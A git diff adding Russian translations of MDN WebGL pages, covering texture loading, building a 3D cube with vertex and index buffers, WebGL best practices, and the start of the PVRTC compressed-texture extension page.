+<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидете нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):</p>
+
+<p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
new file mode 100644
index 0000000000..adbc0ff443
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -0,0 +1,277 @@
+---
+title: Using textures in WebGL
+slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p>
+
+<h2 id="Загрузка_текстур">Загрузка текстур</h2>
+
+<p>Сначала нужно добавить код для загрузки текстур. В нашем случае мы будем использовать одну текстуру, натянутую на все шесть граней вращающегося куба, но этот подход может быть использован для загрузки любого количества текстур.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Важно помнить, что загрузка текстур следует <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">правилам кросс-доменности</a>, что означает, что вы можете загружать текстуры только с сайтов, для которых ваш контент является CORS доверенным. См. подробности в секции "Кросс-доменные текстуры" ниже.</p>
+</div>
+
+<p>Код для загрузки текстур выглядит так::</p>
+
+<pre><code>//
+// Инициализация текстуры и загрузка изображения.
+// Когда загрузка изображения завершена - копируем его в текстуру.
+//
+function loadTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Так как изображение будет загружено из интернета,
+  // может потребоваться время для полной загрузки.
+  // Поэтому сначала мы </code>помещаем <code>в текстуру единственный пиксель, чтобы
+  // её можно было использовать сразу. После завершения загрузки
+  // изображения мы обновим текстуру.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // непрозрачный синий
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  const image = new Image();
+  image.onload = function() {
+    gl.bindTexture(gl.TEXTURE_2D, texture);
+    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                  srcFormat, srcType, image);
+
+    // У WebGL1 иные требования к изображениям, имеющим размер степени 2,
+    // и к не имеющим размер степени 2, поэтому проверяем, что изображение
+    // имеет размер степени 2 в обеих измерениях.
+    if (isPowerOf2(image.width) &amp;&amp; isPowerOf2(image.height)) {
+       // Размер соответствует степени 2. Создаем MIP'ы.
+       gl.generateMipmap(gl.TEXTURE_2D);
+    } else {
+       // Размер не соответствует степени 2.
+       // Отключаем MIP'ы и устанавливаем натяжение по краям
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+    }
+  };
+  image.src = url;
+
+  return texture;
+}
+
+function isPowerOf2(value) {
+  return (value &amp; (value - 1)) == 0;
+}</code></pre>
+
+<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p>
+
+<p>Чтобы загрузить текстуру из файла изображения, функция создает объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p>
+
+<p>В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только <code>NEAREST</code> или <code>LINEAR</code> фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение <code>CLAMP_TO_EDGE</code>. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения <code>REPEAT</code> или <code>MIRRORED_REPEAT</code>.</p>
+
+<p>Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.</p>
+
+<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.</p>
+
+<pre><code>// также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Не допускаем повторения по s-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Не допускаем повторения по t-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre>
+
+<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет <code>rgba(0,0,0,0)</code>.</p>
+
+<p>Для загрузки изображения добавим вызов <code>loadTexture()</code> в функцию <code>main()</code>. Код можно разместить после вызова <code>initBuffers(gl)</code>.</p>
+
+<pre><code>// Загрузка текстуры
+const texture = loadTexture(gl, 'cubetexture.png');</code></pre>
+
+<h2 id="Отображение_текстуры_на_гранях">Отображение текстуры на гранях</h2>
+
+<p>Сейчас текстура загружена и готова к использованию. Но сначала мы должны установить соответствие между координатами текстуры и гранями нашего куба. Нужно заменить весь предыдущий код, который устанавливал цвета граней в <code>initBuffers()</code>.</p>
+
+<pre><code>  const textureCoordBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
+
+  const textureCoordinates = [
+    // Front
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Back
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Top
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Bottom
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Right
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Left
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+                gl.STATIC_DRAW);
+
+...
+  return {
+    position: positionBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };</code></pre>
+
+<p>Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p>
+
+<p>Массив <code>textureCoordinates</code> определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.</p>
+
+<p>После опредения массива координат текстуры, мы копируем его в буфер, и теперь WebGL имеет данные для отрисовки.</p>
+
+<h2 id="Обновление_шейдеров">Обновление шейдеров</h2>
+
+<p>Мы должны обновить шейдерную программу, чтобы она использовала текстуру, а не цвета.</p>
+
+<h3 id="Вершинный_шейдер">Вершинный шейдер</h3>
+
+<p>Заменяем вершинный шейдер, чтобы он получал координаты текстуры вместо цвета.</p>
+
+<pre><code>  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+    }
+  `;</code></pre>
+
+<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p>
+
+<h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3>
+
+<p>Также нужно обновить фрагментный шейдер:</p>
+
+<pre><code>  const fsSource = `
+    varying highp vec2 vTextureCoord;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      gl_FragColor = texture2D(uSampler, vTextureCoord);
+    }
+  `;</code></pre>
+
+<p>Вместо задания цветового значения цвету фрагмента, цвет фрагмента рассчитывается из <strong>текселя</strong> (пикселя внутри текстуры), основываясь на значении <code>vTextureCoord</code>, которое интерполируется между вершинами (как ранее интерполировалось значение цвета).</p>
+
+<h3 id="Атрибуты_и_uniform-переменные">Атрибуты и uniform-переменные</h3>
+
+<p>Так как мы изменили атрибуты и добавили uniform-переменные, нам нужно получить их расположение</p>
+
+<pre><code>  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };</code></pre>
+
+<h2 id="Рисование_текстурированного_куба">Рисование текстурированного куба</h2>
+
+<p>Сделаем несколько простых изменений в функции <code>drawScene()</code>.</p>
+
+<p>Во-первых, удаляем код, который определял цветовые буферы, и заменяем его на:</p>
+
+<pre><code>// Указываем WebGL, как извлечь текстурные координаты из буффера
+{
+    const num = 2; // каждая координата состоит из 2 значений
+    const type = gl.FLOAT; // данные в буфере имеют тип 32 bit float
+    const normalize = false; // не нормализуем
+    const stride = 0; // сколько байт между одним набором данных и следующим
+    const offset = 0; // стартовая позиция в байтах внутри набора данных
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
+    gl.vertexAttribPointer(programInfo.attribLocations.textureCoord, num, type, normalize, stride, offset);
+    gl.enableVertexAttribArray(programInfo.attribLocations.textureCoord);
+}</code></pre>
+
+<p>Затем добавляем код, который отображает текстуру на гранях, прямо перед отрисовкой:</p>
+
+<pre><code>  // Указываем WebGL, что мы используем текстурный регистр 0
+  gl.activeTexture(gl.TEXTURE0);
+
+  // Связываем текстуру с регистром 0
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Указываем шейдеру, что мы связали текстуру с текстурным регистром 0
+  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);</code></pre>
+
+<p>WebGL имеет минимум 8 текстурных регистров; первый из них <code>gl.TEXTURE0</code>. Мы указываем, что хотим использовать регистр 0. Затем мы вызываем функцию {{domxref("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, которая связывает текстуру с <code>TEXTURE_2D</code> регистра 0. Наконец мы сообщаем шейдеру, что для <code>uSampler</code> используется текстурный регистр 0.</p>
+
+<p>В завершение, добавляем аргумент <code>texture</code> в функцию <code>drawScene()</code>.</p>
+
+<pre><code>drawScene(gl, programInfo, buffers, texture, deltaTime);
+...
+function drawScene(gl, programInfo, buffers, texture, deltaTime) {</code></pre>
+
+<p>Сейчас вращающийся куб должен именть текстуру на гранях.</p>
+
+
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6">Посмотреть код примера полностью</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample6/">Открыть демо в новом окне</a></p>
+
+<h2 id="Кросс-доменные_текстуры">Кросс-доменные текстуры</h2>
+
+<p>Загрузка кросс-доменных текстур контролируется правилами кросс-доменного доступа. Чтобы загрузить текстуру с другого домена, она должна быть CORS доверенной. См. детали в статье <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/CORS">HTTP access control</a>.</p>
+
+<p><a href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">В статье на hacks.mozilla.org</a> есть объяснение с <a href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">примером</a>, как использовать изображения CORS для создания WebGL текстур.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддержка CORS для текстур WebGL и атрибут <code>crossOrigin</code> для элементов изображений реализованы в {{Gecko("8.0")}}.</p>
+</div>
+
+<p>Tainted (только-для-записи) 2D canvas нельзя использовать в качестве текстур WebGL. Например, 2D {{ HTMLElement("canvas") }} становится "tainted", когда на ней отрисовано кросс-доменное изображение.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддержка CORS для Canvas 2D <code>drawImage</code> реализована в  {{Gecko("9.0")}}. Это значит, что использование CORS доверенных кросс-доменных изображений больше не делает 2D canvas "tained" (только-для-записи),  и вы можете использовать такую 2D canvas как исходник для текстур WebGL.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддрежка CORS для кросс-доменного видео и атрибут <code>crossorigin</code> для HTML-элемента {{ HTMLElement("video") }} реализованы в {{Gecko("12.0")}}.</p>
+</div>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html
new file mode 100644
index 0000000000..b5abccbe14
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html
@@ -0,0 +1,131 @@
+---
+title: Создание 3D объектов с помощью WebGL
+slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_с_помощью_WebGL
+tags:
+  - WebGL
+  - Урок
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
+
+<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.</p>
+
+<h2 id="Определение_позиций_вершин_куба">Определение позиций вершин куба</h2>
+
+<p>Во первых, давайте построим буффер позиций вершин куба, обновив код в <code>initBuffers()</code>. Это в значительной степени то же самое как это было для квадрата, но несколько длиннее, так как здесь 24 вершины (4 с каждой стороны):</p>
+
+<pre class="brush: js">var vertices = [
+  // Передняя грань
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // Задняя грань
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // Верхняя грань
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // Нижняя грань
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // Правая грань
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // Левая грань
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+</pre>
+
+<h2 id="Определение_цветов_вершин">Определение цветов вершин</h2>
+
+<p>Нам также нужно построить массив цветов для каждой из 24-х вершин. Этот код начинается с определения цветов для каждой грани, затем используется цикл для составления массива все всех цветов для каждой из вершин.</p>
+
+<pre class="brush: js">var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // Front face: white
+  [1.0,  0.0,  0.0,  1.0],    // Back face: red
+  [0.0,  1.0,  0.0,  1.0],    // Top face: green
+  [0.0,  0.0,  1.0,  1.0],    // Bottom face: blue
+  [1.0,  1.0,  0.0,  1.0],    // Right face: yellow
+  [1.0,  0.0,  1.0,  1.0]     // Left face: purple
+];
+
+var generatedColors = [];
+
+for (j=0; j&lt;6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i&lt;4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="Определение_массива_элементов">Определение массива элементов</h2>
+
+<p>Как только массив вершин сгенерирован, нам нужно построить массив элементов.</p>
+
+<pre class="brush: js">cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// Этот массив определяет каждую грань как два треугольника,
+// используя индексы в массиве вершин, чтобы определить позицию
+// каждого треугольника.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// Теперь отправим массив элементов в GL
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+</pre>
+
+<p>Массив <code>cubeVertexIndices</code> определяет каждую грань как пару треугольников, сопоставляя каждой вершине треугольника индекс в массиве вершин куба. Таким образом куб можно представить как набор из 12 треугольников.</p>
+
+<h2 id="Рисование_куба">Рисование куба</h2>
+
+<p>Далее нам нужно обновить код нашей функции <code>drawScene()</code> , чтобы рисовать, используя буффер индексов куба, добавив новые вызовы {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} и {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+</pre>
+
+<p>Поскольку каждая грань нашего куба состоит из двух треугольников, где 6 вершин на каждой грани, или всего 36 вершин во всем кубе, даже если многие из них дублируются. Однако, поскольку наш массив индексов состоит из целых чисел, это не чрезмерное количество данных, посылаемых для каждого кадра анимации.</p>
+
+<p>В данный момент у нас есть анимированный куб с гранями 6 разных цветов, который прыгает и вращается.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5">View the complete code</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample5/">Open this demo on a new page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
new file mode 100644
index 0000000000..90b595c096
--- /dev/null
+++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
@@ -0,0 +1,46 @@
+---
+title: Лучшие практики WebGL
+slug: Web/API/WebGL_API/WebGL_best_practices
+translation_of: Web/API/WebGL_API/WebGL_best_practices
+---
+<p>{{WebGLSidebar}}</p>
+
+<p>Эта статья содержит советы и рекомендации по улучшению качества ваших WebGL приложений. Следование данным советам поможет улучшить совместимость ваших веб-приложений с большим количеством устройств и браузеров, а также увеличить их производительность.</p>
+
+<h2 id="Чего_следует_избегать">Чего следует избегать</h2>
+
+<ul>
+ <li>Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li>
+ <li>Не следует использовать <code>#ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.</code></li>
+ <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li>
+</ul>
+
+<h2 id="О_чем_следует_помнить.">О чем следует помнить.</h2>
+
+<ul>
+ <li>Некоторые возможности WebGL зависят от клиента. Перед тем как задействовать ту или иную возможность, используйте функцию WebGL <code>getParameter() чтобы определить, какие возможности поддерживаются на клиенте. Например, максимально допустимый размер двухмерной текстуры можно узнать с помощью вызова webgl.getParameter(webgl.MAX_TEXTURE_SIZE). В Firefox версии 10 и выше реализован параметр webgl.min_capability_mode, позволяющий имитировать минимальные значения возможностей WebGL для проверки переносимости приложения.</code></li>
+ <li>В частности, использование текстур в вершинном шейдере возможно только если значение <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.</code></li>
+ <li>Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка<code> webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.</code></li>
+ <li>Рендеринг в floating-point текстуру может не выполняться даже если расширение <code>OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().</code></li>
+ <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li>
+</ul>
+
+<h2 id="Общие_советы_по_повышению_производительности">Общие советы по повышению производительности</h2>
+
+<ul>
+ <li>Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: <code>getError()</code>, <code>readPixels()</code> и <code>finish()</code>. Вызовы функций, получающих значения, такие как <code>getParameter()</code> и <code>getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.</code></li>
+ <li>Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции<code> drawArrays()</code> или <code>drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().</code></li>
+ <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность.
+  <ul>
+   <li>В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.</li>
+  </ul>
+ </li>
+ <li>Маленькие текстуры обрабатываются быстрее, чем большие. Используйте mipmapping для ускорения отрисовки.</li>
+ <li>Простые шейдеры выполняются быстрее, чем сложные. В частности, условия (if) замедляют работу. Операции деления и математические функции, например, <code>log() должны также рассматриваться как дорогие.</code>
+  <ul>
+   <li>Однако сегодня даже мобильные устройства обладают мощными графическими процессорами которые способны быстро обрабатывать относительно сложные шейдерные программы. Более того, шейдеры компилируются в машинные коды, которые могут быть оптимизированы под конкретный процессор. Может оказаться, что дорогой вызов функции может быть скомпилирован в несколько (или даже в одну) процессорную инструкцию. Частично это справедливо для функций {{Glossary("GLSL")}}, выполняющих операции над векторами, таких как <code>normalize()</code>, <code>dot()</code> и <code>mix()</code>. Лучшим советом будет использовать встроенные функции, нежели пытаться реализовать, например, собственную версию скалярного произведения или линейной интерполяции, которые будут скомпилированы в набор сложных и неоптимальных инструкций процессора.</li>
+  </ul>
+ </li>
+ <li>Выносите как можно больше операций в вершинный шейдер. Из-за того, что в процессе отрисовки фрагментные шейдеры выполняются гораздо чаще, чем вершинные, любые вычисления, которые можно выполнить с вершинами и интерполировать между пикселями, будут работать быстрее (интерполяция будет "бесплатна", т.к. это этап конвеера WebGL). Например, простая анимация текстурированной поверхности может быть реализована с помощью преобразований текстурных координат (простейший вариант - прибавлять значение uniform-вектора к attribute-вектору текстурных координат). Если результат будет визуально приемлем, то такой вариант будет работать быстрее, чем реализация во фрагментном шейдере.</li>
+ <li>Всегда задействуйте атрибут вершин c нулевым индексом. Отрисовка с неактивным вершинным атрибутом с индексом 0 вынуждает браузер выполнять сложную эмуляцию настольного OpenGL (например, как на Mac OSX). Вызывайте функцию <code>bindAttribLocation()</code> чтобы вершинный атрибут использовал нулевой индекс и активируйте сам атрибут с помощью функции<code> enableVertexAttribArray().</code></li>
+</ul>
diff --git a/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html
new file mode 100644
index 0000000000..9beee4bd5b
--- /dev/null
+++ b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html
@@ -0,0 +1,78 @@
+---
+title: WEBGL_compressed_texture_pvrtc
+slug: Web/API/WEBGL_compressed_texture_pvrtc
+translation_of: Web/API/WEBGL_compressed_texture_pvrtc
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Расширение <code><strong>WEBGL_compressed_texture_pvrtc</strong></code> часть <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> и представляет четыре <a href="https://en.wikipedia.org/wiki/PVRTC">сжатых формата текстур PVRTC</a>.</p>
+
+<p>Сжатые текстуры уменьшают количество памяти, использовуемые в GPU для хранения, позволяя большее разрешение для текстур или большее количество текстур с одинаковым разрешением.</p>
+
+<p>WebGL расширения доступны через метод {{domxref("WebGLRenderingContext.getExtension()")}}. Для подробностей смотри также <a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Использование расширений</a> в <a href="/en-US/docs/Web/API/WebGL_API/Tutorial">туториале по WebGL.</a></p>
+
+<div class="note">
+<p><strong>Доступность:  </strong>Обычно PVRTC доступен тоько на мобильных устройсвах с чипсетом PowerVR. Используется во всех поколениях iPhone, iPod Touch и iPad и поддерживается на определённых Android устройствах, использующих PowerVR GPU.</p>
+
